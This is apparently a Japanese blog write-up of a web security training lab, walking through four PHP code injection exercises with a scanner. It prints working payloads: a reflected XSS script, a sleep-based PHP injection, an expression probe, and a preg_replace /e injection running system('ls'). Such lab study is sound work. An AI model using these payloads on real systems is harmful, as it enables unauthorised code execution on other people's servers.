Hello there, ('ω')ノ
今回は、Code injectionを。

Example1にアクセスすると。
リクエストヘッダからXSSの脆弱性の可能性が。

とりあえず、アクティブスキャンを。

予想どおり、XSSの脆弱性がみつかって。

下記のペイロードをデコードして内容を確認して。
znn2x%3cscript%3ealert(1)%3c%2fscript%3eogkqu

下記を実行すると確認できて。
<script>alert(1)</script>

次にコードインジェクションのペイロードをデコードへ。

デコードしてペイロードの内容を確認して。

下記を実行すると20秒ほど経過してレスポンスが。
{${sleep(hexdec(dechex(20)))}}

次にExample2を。

リクエスト内容を確認して。

動作確認をしながら。

リクエストヘッダやパラメータを確認して。

アクティブスキャンすると下記のパラメータを確認せよとのことで。
${8104*3840}

ペイロードを挿入すると計算式が機能しているようで。
${8104*3840}

下記のペイロードを確認して。
{${sleep(hexdec(dechex(20)))}}

今回は、Example3がやっかいで。
まずは、パラメータと結果から動作確認を。
これで、パラメータの関係性がわかって。
new=hacker&pattern=/lamer/&base=Hello lamer
⇩
Hello hacker
new=hacker&pattern=/lamer111/&base=Hello lamer
⇩
Hello lamer
new=hacker&pattern=/lamer111/&base=Hello lamer111
⇩
Hello hacker
new=hacker222&pattern=/lamer111/&base=Hello lamer111
⇩
Hello hacker222

ちなみに2つ目のパラメータを変更すると下記のエラーが。
new=hacker&pattern=/lamer/a&base=Hello lamer
⇩
Warning: preg_replace(): Unknown modifier 'a'

preg_replace()の仕様を確認して。
https://www.php.net/manual/ja/function.preg-replace.php

preg_replace()の脆弱性を探して。
https://jvndb.jvn.jp/ja/contents/2016/JVNDB-2016-003434.html

2つ目のパラメータを変更していくとエラーの内容に変化が。
new=hacker&pattern=/lamer/e&base=Hello lamer
⇩
Use of undefined constant hacker - assumed 'hacker'

アクティブスキャンしても検出されず。

下記のペイロードを挿入すると文字列として扱われて。
new=system('ls')&pattern=/lamer/&base=Hello lamer

さきほど変化のあった2つ目のパラメータと組み合わせると脆弱性が発見されて。
このようなケースがツール頼りだと見つけられない脆弱性で。
2つ以上のパラメータが連携しているものは要注意かと。
new=system('ls')&pattern=/lamer/e&base=Hello lamer

最後にExample4もこれまで同じようにアクティブスキャンして。

ペイロードを実行して確認を。

Best regards, (^^ゞ